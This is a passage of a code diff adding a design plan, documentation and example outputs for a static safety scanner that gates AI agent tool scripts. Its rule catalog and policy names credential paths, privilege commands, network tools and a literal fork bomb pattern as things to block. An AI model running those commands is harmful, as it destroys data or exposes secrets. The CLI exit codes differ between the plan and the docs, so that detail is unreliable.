已是项目依赖，不需要新增重型解析器：`pyproject.toml:26`、`pyproject.toml:35`、`pyproject.toml:51`。 + +## 4. 目标架构 + +```mermaid +flowchart LR + A["Tool / Skill / MCP / CodeExecutor 输入"] --> B["ToolInputAdapter 规范化"] + B --> C["SafetyScanRequest"] + C --> D["Python AST + Bash lexer + 跨字段规则"] + D --> E["确定性聚合器"] + E --> F["脱敏报告 + AuditSink + OTel"] + F -->|deny| G["阻断，返回明确原因"] + F -->|needs_human_review| H["默认阻断，等待外部审批"] + F -->|allow| I["应用 timeout/output 上限"] + I --> J["沙箱 / Runtime / 真正执行"] +``` + +### 4.1 核心模型 + +在 `trpc_agent_sdk/tools/safety/` 新增 Pydantic 模型： + +- `SafetyScanRequest`：`language`、`script`、`argv`、`cwd`、`env`、`tool_metadata`、`requested_timeout_seconds`、`requested_output_bytes`。 +- `ToolMetadata`：`name`、`kind`（tool/mcp/skill/code_executor）、`description`、可选 adapter id；不接收任意不可序列化对象。 +- `SafetyFinding`：`category`、`risk_level`、`rule_id`、`evidence`、`location`、`recommendation`、`proposed_decision`。 +- `SafetyReport`：顶层固定包含 `decision`、`risk_level`、`rule_id`、`evidence`、`recommendation`、`findings`、`scan_duration_ms`、`redacted`、`script_sha256`、`policy_version`、`policy_sha256`。 +- `SafetyAuditEvent`：至少包含 `tool_name`、`decision`、`risk_level`、主 `rule_id` 与全部 `rule_ids`、`elapsed_ms`、`redacted`、`execution_blocked`、`scan_id`、`timestamp`、策略指纹。 + +`allow` 报告使用稳定的 `SAFE000` 作为顶层 rule id，并以“未命中风险规则”作为 evidence，确保所有报告都满足验收字段要求。 + +### 4.2 可插拔规则接口 + +定义 `SafetyRule` 协议/ABC：稳定 `rule_id`、支持语言集合和纯函数式 `scan(context) -> list[SafetyFinding]`。Guard 构造时校验 rule id 唯一，默认规则可与业务自定义规则组合；规则不得执行被扫描脚本、发网络请求或读取目标凭据文件。 + +Python 使用 `ast.parse`、import alias 表、有限常量折叠与轻量 taint 传播；Bash 使用标准库 `shlex` 的 operator-preserving 模式并补充引号、重定向、管道、命令替换和后台符号识别。语法无法可靠解释时产出 `PARSE001`，而不是回退为安全。 + +### 4.3 决策聚合 + +优先级固定为 `deny > needs_human_review > allow`；同级按 risk level（critical > high > medium > low > info）、rule id、源码位置稳定排序。任何 critical/high 且规则动作是 deny 的 finding 立即决定 deny；解析不确定、动态目标和未知间接执行进入人工复核；没有风险 finding 才允许。 + +## 5. 策略文件 + +新增 `examples/tool_safety/tool_safety_policy.yaml`，由严格 Pydantic 模型加载，未知字段报错，配置错误在启动/CLI 阶段失败，不静默使用宽松默认值。核心字段： + +```yaml +version: "1" +unknown_behavior: needs_human_review +allowed_domains: + - api.example.com + - "*.trusted.example.com" +allowed_commands: [python, python3, git, pytest] +denied_commands: [sudo, su, doas] +denied_paths: + - "~/.ssh/**" + - "**/.env" + - "/etc/**" + - "/root/**" +limits: + max_timeout_seconds: 60 + max_output_bytes: 1048576 + max_file_write_bytes: 10485760 + max_sleep_seconds: 30 + max_concurrency: 16 + max_processes: 8 +sensitive_env_key_patterns: ["*KEY*", "*TOKEN*", "*PASSWORD*", "*SECRET*"] +tool_adapters: + workspace_exec: {language: bash, script_arg: command, cwd_arg: cwd, env_arg: env, timeout_arg: timeout_sec} + skill_run: {language: bash, script_arg: command, cwd_arg: cwd, env_arg: env, timeout_arg: timeout} + skill_exec: {language: bash, script_arg: command, cwd_arg: cwd, env_arg: env, timeout_arg: timeout} +rule_overrides: {} +audit: + enabled: true + required: true + path: tool_safety_audit.jsonl +``` + +域名只允许精确匹配或显式 `*.` 子域模式，禁止用裸 `endswith`；`allowed_commands` 仅允许无 shell 运算符、`shell=False` 的直接命令，其他类别规则仍可否决。策略在 Guard 构造时加载；修改文件后重建 Guard/重启进程即可生效，无需改代码。 + +## 6. 默认规则目录 + +| 类别 | 主要 rule id | 判定原则 | +|---|---|---| +| 危险文件操作 | `FILE001_RECURSIVE_DELETE`、`FILE002_DENIED_WRITE`、`FILE003_CREDENTIAL_READ`、`FILE004_DOTENV_READ` | 递归删除、系统/禁止路径写入、`.ssh`/凭据/`.env` 读取为 deny；动态路径至少 review | +| 网络外连 | `NET001_DOMAIN_NOT_ALLOWED`、`NET002_DYNAMIC_TARGET` | curl/wget/requests/aiohttp/socket 的确定非白名单目标 deny；运行时拼接目标 review | +| 进程/系统命令 | `PROC001_PROCESS_EXEC`、`PROC002_SHELL_INJECTION`、`PROC003_SHELL_OPERATOR`、`PROC004_PRIVILEGE` | 允许命令的直接 argv 可 allow；`shell=True` 动态拼接、eval、提权 deny；未知 subprocess、管道/后台 review | +| 依赖安装 | `DEP001_ENV_MUTATION` | pip/npm/apt/yum/apk/brew 等 install 命令默认 deny，可由 rule override 调整为 review | +| 资源滥用 | `RES001_UNBOUNDED_LOOP`、`RES002_FORK_BOMB`、`RES003_LONG_SLEEP`、`RES004_CONCURRENCY`、`RES005_LARGE_WRITE` | fork bomb 与无退出无限循环 deny；超过策略阈值的 sleep/并发/写入按确定性 deny 或 review | +| 敏感信息泄漏 | `SECRET001_LOG_SINK`、`SECRET002_FILE_SINK`、`SECRET003_NETWORK_SINK` | 对 env/凭据/私钥 source 到 print/log/file/network sink 做有限 taint；确定链路 deny，模糊链路 review | +| 分析不确定性 | `PARSE001_UNCERTAIN`、`OBF001_DYNAMIC_EXEC` | 语法错误、未知语言、解码后执行、反射/动态 import 至少 review | + +证据最多保留策略规定的字符数；先识别并替换私钥块、Bearer/token、常见 key 格式和 env 值，再写 report/audit。环境变量只记录 key，不记录 value。 + +## 7. 执行链路接入 + +### 7.1 Tool / Skill / MCP Filter + +实现 `ToolScriptSafetyFilter(BaseFilter)`：从当前 tool 与 args 通过 `ToolInputAdapter` 构造请求，在 `_before` 扫描并先写审计。`deny` 或未批准的 `needs_human_review` 设置结构化 `rsp.rsp` 与 `is_continue=False`；`allow` 才调用下游 handler。 + +为消除“后续 callback 修改已扫描 args”的 TOCTOU，给 Filter 增加默认关闭、向后兼容的 terminal phase 标记；`FilterRunner` 按 `普通 filters -> ToolCallbackFilter -> terminal filters -> handler` 排序。安全 Filter 使用 terminal phase，并新增顺序测试。若不接受该小型核心改动，备选方案必须在每个实际执行 Tool 内部调用 `guard.enforce`，但不能只依赖一个可能被后续 Filter 绕过的外层扫描。 + +内置 adapter 覆盖 `workspace_exec`、`skill_run`、`skill_exec`；MCP 和自定义 Tool 通过策略声明字段映射。被显式标记为 execution-capable 但无法提取脚本的 Tool 返回 `needs_human_review`，不默认放行。 + +### 7.2 CodeExecutor wrapper + +实现 `SafetyCheckedCodeExecutor(BaseCodeExecutor)`，包装任意现有 executor。它逐个扫描 `CodeExecutionInput.code_blocks`，汇总为一次执行决策，并在调用 delegate 的 `execute_code` 前阻断。deny/review 返回框架可消费、已脱敏的失败 `CodeExecutionResult`，不调用 delegate；allow 才委托执行。 + +wrapper 对 requested timeout 应用策略上限，并限制返回给 Agent 的输出字节数。该输出上限防止响应/观测面继续放大，但不宣称能限制 subprocess 内部缓冲；真实内存、CPU、PID、磁盘和网络上限仍由 Container/Cube/cgroup/egress policy 承担。 + +### 7.3 人工复核 + +默认行为是“review 即暂停/阻断”，绝不自动执行。Filter 返回 `status=needs_human_review`、`scan_id` 和脱敏 findings；文档给出与现有 `LongRunningFunctionTool`/`LongRunningEvent` 的组合示例。审批结果作为外部控制面输入，不由模型自行生成 token 绕过。 + +## 8. 审计、监控与 tracing + +1. `AuditSink` 协议允许 JSONL、logging 或业务自定义 sink；默认 `JsonlAuditSink` 在执行前追加一行。`audit.required=true` 时写审计失败即 fail closed，并将错误写普通 logger。 +2. 当前 span 写入低基数属性：`tool.safety.decision`、`tool.safety.risk_level`、`tool.safety.rule_id`、`tool.safety.blocked`、`tool.safety.redacted`、`tool.safety.scan_duration_ms`、`tool.safety.policy_version`。 +3. 新增 counter `tool.safety.scan.count` 与 histogram `tool.safety.scan.duration`；metric 标签不包含 evidence、脚本哈希或 env 值。 +4. 增加 task-local/contextvar 的 trace args override。安全 Filter 写入脱敏后的 args，`_tools_processor.py` 在 success/error 路径调用 `trace_tool_call` 时消费并在 finally 清理，避免现有 `trace_tool_call` 把原始 command/env 再次写进 span。必须测试并行 tool call 不串数据。 + +## 9. 文件级实施步骤 + +1. **定义契约与严格策略模型**：新增 `trpc_agent_sdk/tools/safety/_models.py`、`_policy.py`、`_exceptions.py` 和公开导出；加入枚举、schema 校验、策略哈希与确定性序列化。 +2. **实现规范化与脱敏**：新增 `_adapters.py`、`_normalization.py`、`_redaction.py`；统一语言别名、cwd/`~`/环境变量路径、URL host、argv 和证据位置；保证不读取目标文件。 +3. **实现规则引擎**：新增 `rules/_base.py`、`_python.py`、`_bash.py`、`_cross_field.py` 与 `_guard.py`；预编译 regex，AST/lexer 单次遍历，规则结果稳定排序。 +4. **实现决策与策略覆盖**：在 `_guard.py` 实现三态聚合、允许命令/域名/禁止路径与阈值；解析失败和未知输入走 review；为 allow 生成 `SAFE000` 摘要。 +5. **实现审计与 Telemetry**：新增 `_audit.py`、`_telemetry.py`；在 `trpc_agent_sdk/telemetry/` 增加安全 args override，并修改 `trpc_agent_sdk/agents/core/_tools_processor.py` 的两条 trace 路径，确保 raw args 不泄漏。 +6. **接入执行链**：新增 `_filter.py` 与 `_code_executor.py`；在 `trpc_agent_sdk/filter/_base_filter.py`、`_filter_runner.py` 增加 terminal phase；从 `trpc_agent_sdk/tools/safety/__init__.py` 与 `trpc_agent_sdk/tools/__init__.py` 导出。 +7. **提供 CLI 和示例资产**：新增 `scripts/tool_safety_check.py`，支持单文件与 manifest 批量扫描、JSON stdout/文件输出、JSONL audit；退出码约定 `0=allow`、`2=review`、`3=deny`、`4=输入/策略错误`。新增 `examples/tool_safety/` 下策略、样本 manifest、报告和审计样例；报告/审计样例由 CLI 生成而非手写。 +8. **补齐单元、集成、性能测试**：新增 `tests/tools/safety/`；测试规则、策略热替换（重建 Guard）、聚合、脱敏、Filter 短路、CodeExecutor delegate 未调用、terminal 顺序、审计 fail-closed、OTel 属性、并发 context 隔离、CLI schema 与性能。 +9. **编写双语设计文档**：新增 `docs/mkdocs/zh/tool_safety.md`、`docs/mkdocs/en/tool_safety.md` 并更新 `mkdocs.yml`；说明 Tool/Skill/MCP adapter、Filter、Telemetry、CodeExecutor、沙箱各自职责，误报/漏报/绕过面与自定义规则方式。 + +## 10. 公开样本与预期结果 + +在 `examples/tool_safety/samples/manifest.yaml` 提供至少以下 14 个可由 CLI 独立和批量扫描的样本： + +| 样本 | 预期决策 | 主规则 | +|---|---|---| +| `01_safe_python.py` | allow | `SAFE000` | +| `02_safe_bash.sh` | allow | `SAFE000` | +| `03_dangerous_delete.py` | deny | `FILE001_RECURSIVE_DELETE` | +| `04_read_ssh_key.py` | deny | `FILE003_CREDENTIAL_READ` | +| `05_non_whitelist_network.py` | deny | `NET001_DOMAIN_NOT_ALLOWED` | +| `06_whitelist_network.py` | allow | `SAFE000` | +| `07_allowed_subprocess.py` | allow | `SAFE000` 或低风险允许命令 finding | +| `08_shell_injection.py` | deny | `PROC002_SHELL_INJECTION` | +| `09_dependency_install.sh` | deny | `DEP001_ENV_MUTATION` | +| `10_infinite_loop.py` | deny | `RES001_UNBOUNDED_LOOP` | +| `11_sensitive_output.py` | deny | `SECRET001_LOG_SINK` | +| `12_bash_pipeline.sh` | needs_human_review | `PROC003_SHELL_OPERATOR` | +| `13_read_dotenv.sh` | deny | `FILE004_DOTENV_READ` | +| `14_dynamic_command_review.py` | needs_human_review | `PARSE001_UNCERTAIN`/`PROC001_PROCESS_EXEC` | + +另用参数化单测覆盖 requests/aiohttp/socket/curl/wget、Python/Bash 两种删除与凭据读取、fork bomb、长 sleep、大量并发和超大写入，避免只为 14 个固定文本调规则。 + +## 11. 可测试验收标准 + +1. manifest 中每个样本均能通过 API 和 CLI 扫描，输出通过 `SafetyReport` schema 校验，且决策与主规则符合表格。 +2. 将 manifest 标注为 `safe/high_risk/review`：高危样本 `decision=deny` 比例不低于 90%，安全样本 `decision!=allow` 比例不高于 10%；测试直接计算并断言比例。 +3. 危险删除、凭据读取、非白名单外连分别用 Python/Bash/库变体参数化，三组检出率均断言 100%。 +4. 生成 500 行脚本，危险调用放在最后一行；预热后用 `time.perf_counter()` 扫描多次，单次最大耗时 `<1.0s`。性能测试不包含真实执行和网络/DNS。 +5. 对 allow/deny/review 三类报告分别断言顶层 `decision/risk_level/rule_id/evidence/recommendation` 非空。 +6. 临时修改策略中的 domain、command、path 后只重建 Guard，不改规则代码，断言决策随配置变化。 +7. 用 spy handler/fake CodeExecutor 断言 deny/review 时调用次数为 0、allow 时为 1，并断言每次执行尝试恰好写一条审计事件。 +8. OTel in-memory exporter 断言安全属性存在；脚本、API Key 与 env value 不出现在 span、audit、普通日志和阻断响应中。 +9. `max_timeout_seconds` 在 wrapper/adapter 生效，返回 Agent 的输出不超过 `max_output_bytes`；测试同时注明这不是子进程内存硬限制。 +10. 运行项目格式化、flake8/类型相关检查和 `pytest tests/tools/safety tests/filter tests/tools/test_base_tool.py tests/skills/tools`，确认 terminal filter 改动未破坏既有顺序语义。 + +## 12. 风险与缓解 + +- **规则绕过**：动态执行、混淆、软链接、下载后二阶段 payload 无法完全静态解析。缓解：不确定进入 review；生产必须使用无特权沙箱、只读挂载、网络白名单和资源上限。 +- **误报**：服务型 `while True`、合法 pipeline、依赖安装可能有业务正当性。缓解：稳定 rule id、精确 evidence、逐规则策略 override；高危白名单不跨类别覆盖。 +- **漏报**：轻量 taint 不是完整跨过程数据流。缓解：规则 corpus 加变体/对抗测试，允许注入自定义规则，后续可替换更强分析器而不改报告协议。 +- **Filter 顺序/TOCTOU**：后置 callback 可能修改 args。缓解：terminal phase 或最后一公里 `guard.enforce`，并用 mutating callback 集成测试证明扫描看到最终参数。 +- **观测泄密**：现有 trace 会记录 raw args。缓解：context-local sanitized override，success/error/并发路径全部测试；安全属性不携带高基数证据。 +- **审计可用性**：磁盘满或 sink 故障会影响执行。缓解：`audit.required` 明确控制 fail-closed；生产建议用异步远端 sink + 本地有界缓冲，但不得以“成功形状”吞掉错误。 +- **资源限制被高估**：截断返回值不能阻止进程产生巨量输出。缓解：文档区分 response cap 与 runtime hard limit；Container/Cube/cgroup/egress 是生产必选层。 + +## 13. 完成定义 + +只有在代码、策略、14 个公开样本、生成式 report/audit 示例、双语文档和上述测试全部通过后才视为完成。交付说明必须明确：Safety Guard 提供“执行前的静态策略门与可观测证据”，沙箱提供“执行时的强制隔离”；两者互补，任何一方都不能替代另一方。 diff --git a/docs/tool_safety_guard.md b/docs/tool_safety_guard.md new file mode 100644 index 00000000..1e619b29 --- /dev/null +++ b/docs/tool_safety_guard.md @@ -0,0 +1,393 @@ +# Tool Script Safety Guard + +Pre-execution static safety scanner for Python and Bash scripts invoked by +Tools, Skills, MCP tools, and CodeExecutors. Produces a structured +``allow`` / ``deny`` / ``needs_human_review`` decision, a redacted report, +JSONL audit events, and OpenTelemetry attributes. **Does not replace +sandbox isolation.** + +## What this is + +The guard is a **policy-driven static gate** that runs *before* code is +executed. It scans scripts, command-line arguments, working directory, +environment variables, and tool metadata, then applies a catalog of rules +to produce a three-state decision. The decision and the supporting +evidence are emitted as a redacted :class:`SafetyReport`, an audit event, +and OpenTelemetry span attributes / metrics. + +```text ++----------------+ +-------------+ +------------------+ +| Tool / Skill / | ---> | Guard | ---> | allow: proceed | +| CodeExecutor | | (sync scan) | | deny: block | +| input | | | | review: pause | ++----------------+ +------+------+ +------------------+ + | + v + +-----------+-----------+ + | Audit | Telemetry | OTel | + +-----------------------+ +``` + +The static guard is **one layer** of defense. It complements (never +replaces) container/sandbox isolation, network egress policy, OS +permissions, and runtime resource limits. + +## What this is not + +* **Not a sandbox.** Static analysis cannot see what the code will do at + runtime once it has been allowed. Production deployments must still + use unprivileged containers with read-only mounts, egress allowlists, + cgroup/ulimit bounds, and timeouts. +* **Not complete.** Obfuscation, runtime concatenation, reflection, + native extensions, downloaded payloads, symlink races, and behavior + that depends on runtime state can all bypass a static scanner. The + guard converts uncertainty into ``needs_human_review`` rather than + silently allow. +* **Not a secret.** The policy file is the source of truth; treat it as + sensitive. Anyone who can change ``rule_overrides`` or + ``allowed_commands`` can weaken the guard. + +## Responsibility matrix + +| Layer | Owns | +|---|---| +| **ToolScriptSafetyFilter** | Pre-execution static policy decision and redaction | +| **SafetyCheckedExecutor** | Applies the same decision before delegated execution | +| **Wrapper / Sandbox / Runtime** | Runtime isolation: CPU, memory, PID, FS, network hard limits | +| **Audit / Telemetry** | Evidence that a decision occurred; **not** enforcement | + +## Quick start + +```bash +python scripts/tool_safety_check.py \ + --policy examples/tool_safety/tool_safety_policy.yaml \ + --language python \ + --script-file examples/tool_safety/samples/03_dangerous_delete.py \ + --output tool_safety_report.json \ + --audit-file tool_safety_audit.jsonl +echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error +``` + +Run the manifest to scan all 14 public samples: + +```bash +python scripts/tool_safety_check.py \ + --policy examples/tool_safety/tool_safety_policy.yaml \ + --manifest examples/tool_safety/samples/manifest.yaml \ + --manifest-output examples/tool_safety/manifest_run.json \ + --audit-file examples/tool_safety/tool_safety_audit.jsonl +``` + +## Programmatic usage + +```python +from tool.safety import ( + ToolSafetyGuard, + load_safety_policy, + SafetyScanRequest, + ScriptLanguage, +) + +policy = load_safety_policy("examples/tool_safety/tool_safety_policy.yaml") +guard = ToolSafetyGuard(policy) + +request = SafetyScanRequest( + tool_name="workspace_exec", + language=ScriptLanguage.BASH, + script="rm -rf /tmp/x", + cwd="/tmp", + env={"PATH": "/usr/bin"}, +) +report = guard.scan(request) +print(report.decision, report.rule_ids) +``` + +### Wrapping a callable + +```python +import subprocess +from tool.wrapper import SafetyWrappedCallable +from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_run = SafetyWrappedCallable( + guard, subprocess.run, + tool_name="subprocess.run", + language=ScriptLanguage.BASH, + script_pos=0, +) +safe_run("ls -la") # raises BlockedExecutionError if policy denies +``` + +### Wrapping a code executor + +```python +from tool.wrapper import SafetyCheckedExecutor +from tool.safety import ToolSafetyGuard, load_safety_policy, ScriptLanguage + +guard = ToolSafetyGuard(load_safety_policy("policy.yaml")) +safe_executor = SafetyCheckedExecutor( + guard, + delegate=real_executor, + language=ScriptLanguage.PYTHON, + effective_timeout_seconds=30, +) +await safe_executor.execute_code(code_input) +``` + +## Rule catalog + +The guard applies one stable rule per risk category. Rule IDs never +change between releases so policy overrides remain stable. + +| Rule ID | Category | Default decision | What it catches | +|---|---|---|---| +| `FILE001_RECURSIVE_DELETE` | file | deny | `shutil.rmtree`, `rm -rf` | +| `FILE002_DENIED_WRITE` | file | deny | Writes to denied paths | +| `FILE003_CREDENTIAL_READ` | file | deny | Reads of `.ssh`, `id_rsa`, `.pem`, credentials | +| `FILE004_DOTENV_READ` | file | deny | Reads of `.env` files | +| `NET001_DOMAIN_NOT_ALLOWED` | network | deny | Requests/curl/wget to non-allowlisted hosts | +| `NET002_DYNAMIC_TARGET` | network | review | Computed network destination | +| `PROC001_PROCESS_EXEC` | process | review | Subprocess or command not on allow list | +| `PROC002_SHELL_INJECTION` | process | deny | `shell=True` with shell grammar | +| `PROC003_SHELL_OPERATOR` | process | review | `;`, `&&`, `\|`, `&`, command substitution | +| `PROC004_PRIVILEGE` | process | deny | `sudo`, `su`, `doas` | +| `DEP001_ENV_MUTATION` | dependency | deny | `pip install`, `npm install`, `apt install` | +| `RES001_UNBOUNDED_LOOP` | resource | deny | `while True` without break | +| `RES002_FORK_BOMB` | resource | deny | Classic `:(){ :\|:& };:` pattern | +| `RES003_LONG_SLEEP` | resource | deny | Sleeps exceeding policy limit | +| `RES004_CONCURRENCY` | resource | deny | Fan-out exceeding `max_parallel_tasks` | +| `RES005_LARGE_WRITE` | resource | deny | Writes exceeding `max_file_write_bytes` | +| `SECRET001_LOG_SINK` | secret | deny | Tainted value into print/log | +| `SECRET002_FILE_SINK` | secret | deny | Tainted value into file write | +| `SECRET003_NETWORK_SINK` | secret | deny | Tainted value into network payload | +| `PARSE001_UNCERTAIN` | analysis | review | Syntax error or unknown construct | +| `OBF001_DYNAMIC_EXEC` | analysis | review | `eval`, `exec`, `importlib`, reflective calls | +| `SAFE000` | safe | allow | No findings | +| `GUARD001_INTERNAL_ERROR` | analysis | deny | Internal guard failure (fail closed) | + +## Policy reference + +```yaml +version: "1" + +defaults: + unknown_construct: needs_human_review # allow | needs_human_review | deny + guard_error: deny # fail-closed default + human_review_blocks_execution: true # review blocks the wrapper + +limits: + max_timeout_seconds: 60 + max_output_bytes: 1048576 + max_script_bytes: 262144 + max_sleep_seconds: 30 + max_parallel_tasks: 16 + max_processes: 8 + max_file_write_bytes: 10485760 + +network: + allow_domains: + - api.github.com + - "*.internal.example.com" # one sub-domain level only + deny_ip_literals: true + +commands: + allow: [python, python3, pytest, git] + deny: [sudo, su, doas, chmod, chown, mount] + +paths: + deny: + - "~/.ssh" + - "/etc" + - "/root" + - ".env" + - "**/*credentials*" + +dependencies: + decision: deny + +sensitive_env_key_patterns: + - "*KEY*" + - "*TOKEN*" + - "*PASSWORD*" + - "*SECRET*" + - "*CREDENTIAL*" + +tools: + workspace_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout_sec + +rule_overrides: {} +# Override any rule's decision. Example: +# DEP001_ENV_MUTATION: needs_human_review + +audit: + enabled: true + required: true # fail-closed when audit write fails + path: tool_safety_audit.jsonl +``` + +## Hot-reload behavior + +The guard does not watch the YAML file. Construct a new +``ToolSafetyGuard`` (and re-register the filter / wrapper) after editing +the policy. The ``policy_hash`` in every report / audit event lets +operators correlate which policy produced which decision. + +## Telemetry + +When OpenTelemetry is active the guard sets these low-cardinality span +attributes on the current span: + +```text +tool.safety.decision +tool.safety.risk_level +tool.safety.rule_id # comma-separated, bounded to 8 entries +tool.safety.blocked +tool.safety.redacted +tool.safety.scan_duration_ms +tool.safety.policy_hash +``` + +Metrics emitted (no-op when OTel is absent): + +```text +trpc_agent.tool_safety.scan_count{decision,risk_level,tool_name} +trpc_agent.tool_safety.block_count{decision,rule_id,tool_name} +trpc_agent.tool_safety.scan_duration_ms{decision,tool_name} +``` + +Evidence snippets, env values, script hashes, and command strings are +never emitted as span attributes or metric labels. + +## CLI exit codes + +| Code | Meaning | +|---|---| +| 0 | Final decision was ``allow`` | +| 2 | Final decision was ``deny`` | +| 3 | Final decision was ``needs_human_review`` | +| 4 | Invalid input / policy error | + +## Integration with the SDK + +The standalone package is duck-typed to ``BaseFilter`` so it can be +composed with the framework's filter runner once the terminal-phase +ordering seam is exposed. Until then, wrap the executor or callable +explicitly via ``tool.wrapper``. + +The :class:`ToolScriptSafetyFilter` carries a ``terminal_before_handler`` +attribute (always ``True``). When the framework adopts the terminal +phase marker, the filter will automatically run after +``ToolCallbackFilter`` and prevent TOCTOU mutations. + +## Custom rules + +Implement :class:`SafetyRule` and pass the rule list explicitly: + +```python +from tool.safety import ToolSafetyGuard, SafetyScanRequest + +class MyRule: + rule_id = "CUSTOM001_MY_RULE" + + def scan(self, request, policy): + # Return an iterable of SafetyFinding. + return [] + +guard = ToolSafetyGuard( + policy, + rules=[*default_rules(), MyRule()], +) +``` + +Rules must be pure: no file I/O, network access, or process creation. + +## Known limitations and bypasses + +* **Obfuscation.** Base64-decoded payloads, hex decoding, and similar + transforms hide intent. The guard emits ``OBF001_DYNAMIC_EXEC`` when + it sees ``eval``/``exec``/``compile``/dynamic imports, but cannot + reconstruct the decoded content statically. +* **Indirect data flow.** Taint propagation is deliberately shallow: + literals, names, direct assignments, f-strings, concatenation, and + shallow container construction. Deeper flows surface as review. +* **Symlink races.** Static path matching cannot resolve symlinks. The + sandbox must enforce filesystem boundaries. +* **Native extensions.** ``ctypes.CDLL(...)``, ``cffi.dlopen(...)``, + and similar primitives are not statically inspectable. +* **Runtime downloads.** A script that downloads and executes a payload + in two stages defeats static analysis. Network egress policy and + sandboxing are mandatory. +* **Shell grammar holes.** The bash lexer-lite is conservative: any + unbalanced quote or unsupported substitution becomes + ``PARSE001_UNCERTAIN``. + +When in doubt, the guard converts uncertainty into +``needs_human_review``. Operators must approve explicitly before +execution resumes. + +## Test plan + +```bash +python -m pytest tests/tool_safety/ -v +``` + +Coverage: + +* ``test_models``: immutability, ``repr=False`` on script/env, label + serialization. +* ``test_policy``: YAML validation, normalization, hash stability, + wildcard semantics. +* ``test_redaction``: env scrubbing, secret patterns, evidence bounding. +* ``test_python_scanner``: per-rule Python AST detection. +* ``test_bash_scanner``: per-rule Bash lexer-lite detection. +* ``test_cross_field_scanner``: cwd / argv / env / timeout correlation. +* ``test_guard``: aggregation, de-duplication, fail-closed on errors. +* ``test_audit``: JSONL sink, redaction invariants. +* ``test_tool_adapter``: built-in adapters and policy overrides. +* ``test_filter``: ``check`` / ``enforce`` semantics, audit per call. +* ``test_wrapper``: callable + executor wrapping, deny does not delegate. +* ``test_cli``: exit codes, manifest output. +* ``test_performance``: 500-line Python and Bash scripts in <1s p95. +* ``test_integration``: 14 manifest samples match expected decisions. + +## File layout + +```text +tool/ + __init__.py # public re-exports + safety/ + __init__.py + _exceptions.py + _models.py + _policy.py + _redaction.py + _facts.py + _rules.py # SafetyRule protocol + rule catalog + _python_scanner.py + _bash_scanner.py + _cross_field_scanner.py + _guard.py # ToolSafetyGuard + _audit.py # AuditSink, JsonlAuditSink, InMemoryAuditSink + _telemetry.py # OTel span attrs + metrics (no-op safe) + _tool_adapter.py # ToolInputAdapter + built-ins + _filter.py # ToolScriptSafetyFilter (terminal) + wrapper.py # SafetyWrappedCallable, SafetyCheckedExecutor +scripts/ + tool_safety_check.py # CLI +tests/tool_safety/ # 115 tests +examples/tool_safety/ + tool_safety_policy.yaml # sample policy + samples/ # 14 public samples + manifest + tool_safety_report.json # generated report + tool_safety_audit.jsonl # generated audit log + manifest_run.json # manifest execution summary +docs/ + tool_safety_guard.md # this document +``` diff --git a/examples/tool_safety/README.md b/examples/tool_safety/README.md new file mode 100644 index 00000000..a4f22548 --- /dev/null +++ b/examples/tool_safety/README.md @@ -0,0 +1,61 @@ +# Tool Script Safety Guard examples + +This directory contains a sample policy, the 14 public sample scripts, +and the generated report / audit outputs. + +## Files + +| File | Purpose | +|---|---| +| `tool_safety_policy.yaml` | Sample policy. Edit this file to change allow/deny lists without touching code. | +| `samples/01_safe_python.py` | Safe Python: `allow` | +| `samples/02_safe_bash.sh` | Safe Bash: `allow` | +| `samples/03_dangerous_delete.py` | Recursive delete: `deny / FILE001_RECURSIVE_DELETE` | +| `samples/04_read_ssh_key.py` | Reads `~/.ssh/id_rsa`: `deny / FILE003_CREDENTIAL_READ` | +| `samples/05_non_whitelist_network.py` | Non-allowlisted host: `deny / NET001_DOMAIN_NOT_ALLOWED` | +| `samples/06_whitelist_network.py` | Allowlisted GitHub API: `allow` | +| `samples/07_allowed_subprocess.py` | Allowlisted subprocess: `allow` | +| `samples/08_shell_injection.py` | `shell=True`: `deny / PROC002_SHELL_INJECTION` | +| `samples/09_dependency_install.sh` | `pip install`: `deny / DEP001_ENV_MUTATION` | +| `samples/10_infinite_loop.py` | `while True`: `deny / RES001_UNBOUNDED_LOOP` | +| `samples/11_sensitive_output.py` | Secret to print: `deny / SECRET001_LOG_SINK` | +| `samples/12_bash_pipeline.sh` | Shell pipeline: `needs_human_review / PROC003_SHELL_OPERATOR` | +| `samples/13_read_dotenv.sh` | Reads `.env`: `deny / FILE004_DOTENV_READ` | +| `samples/14_dynamic_command_review.py` | Runtime-built command: `needs_human_review / PROC001_PROCESS_EXEC` | +| `samples/manifest.yaml` | Expected decisions for all 14 samples | +| `tool_safety_report.json` | Single-sample report (regenerated by CLI) | +| `tool_safety_audit.jsonl` | Audit events (regenerated by CLI) | +| `manifest_run.json` | Manifest execution summary | + +## Run + +```bash +# Single sample +python ../../scripts/tool_safety_check.py \ + --policy tool_safety_policy.yaml \ + --language python \ + --script-file samples/03_dangerous_delete.py \ + --output tool_safety_report.json \ + --audit-file tool_safety_audit.jsonl +echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error + +# All 14 samples +python ../../scripts/tool_safety_check.py \ + --policy tool_safety_policy.yaml \ + --manifest samples/manifest.yaml \ + --manifest-output manifest_run.json \ + --audit-file tool_safety_audit.jsonl +``` + +## What to look at + +* `tool_safety_report.json` shows the full structured report for one + deny sample, including redacted evidence, recommendation, and policy + hash. +* `tool_safety_audit.jsonl` shows one line per scan. Note that no raw + script text, env values, or unredacted arguments ever appear. +* `manifest_run.json` shows expected-vs-actual decisions across all 14 + samples. + +See [../../docs/tool_safety_guard.md](../../docs/tool_safety_guard.md) +for the full design document. diff --git a/examples/tool_safety/manifest_run.json b/examples/tool_safety/manifest_run.json new file mode 100644 index 00000000..e52efba3 --- /dev/null +++ b/examples/tool_safety/manifest_run.json @@ -0,0 +1,172 @@ +[ + { + "name": "safe_python", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-61e0c448ab064221", + "risk_level": "info", + "duration_ms": 0.38300000596791506, + "matches_expected": true + }, + { + "name": "safe_bash", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-b583bba1bb944efe", + "risk_level": "info", + "duration_ms": 0.5827000131830573, + "matches_expected": true + }, + { + "name": "dangerous_recursive_delete", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "FILE001_RECURSIVE_DELETE" + ], + "report_id": "rep-3b18c79ff0f6402d", + "risk_level": "critical", + "duration_ms": 0.41360000614076853, + "matches_expected": true + }, + { 